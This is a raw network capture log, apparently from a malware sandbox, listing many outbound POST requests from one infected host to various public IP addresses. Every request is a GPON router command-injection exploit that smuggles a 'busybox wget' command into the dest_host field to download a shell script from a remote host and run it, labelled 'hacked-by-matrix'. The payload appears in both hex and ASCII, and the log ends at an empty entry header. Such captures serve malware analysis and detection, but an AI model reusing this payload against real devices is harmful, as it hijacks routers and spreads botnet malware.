Mar 2, 2024 12:37:28.966001987 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
576	192.168.2.23	41678	118.67.12.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966018915 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
577	192.168.2.23	34832	42.94.67.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966054916 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
578	192.168.2.23	38198	178.135.212.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966056108 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
579	192.168.2.23	36258	109.66.109.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966062069 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
580	192.168.2.23	42510	2.111.85.234	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966082096 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
581	192.168.2.23	50510	2.35.113.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966095924 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
582	192.168.2.23	40938	37.25.148.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966097116 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
583	192.168.2.23	46634	37.58.141.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966150999 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
584	192.168.2.23	54738	37.206.218.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966171026 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
585	192.168.2.23	33094	79.136.231.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966186047 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
586	192.168.2.23	41654	212.214.194.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966202021 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
587	192.168.2.23	47822	37.77.70.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966208935 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
588	192.168.2.23	34808	94.6.38.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966248035 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
589	192.168.2.23	49088	5.242.119.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966273069 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
590	192.168.2.23	34378	5.240.18.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966283083 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
591	192.168.2.23	39252	37.157.25.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966303110 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
592	192.168.2.23	42346	210.16.85.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966304064 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
593	192.168.2.23	36194	210.33.119.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966367960 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
594	192.168.2.23	49812	37.198.96.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966372967 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
595	192.168.2.23	38750	37.111.189.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966399908 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
596	192.168.2.23	37208	5.12.169.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966402054 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
597	192.168.2.23	58202	42.195.134.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966404915 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
598	192.168.2.23	53826	118.90.230.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.966428041 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
599	192.168.2.23	35684	5.237.184.24	443

Timestamp	Bytes transferred	Direction	Data
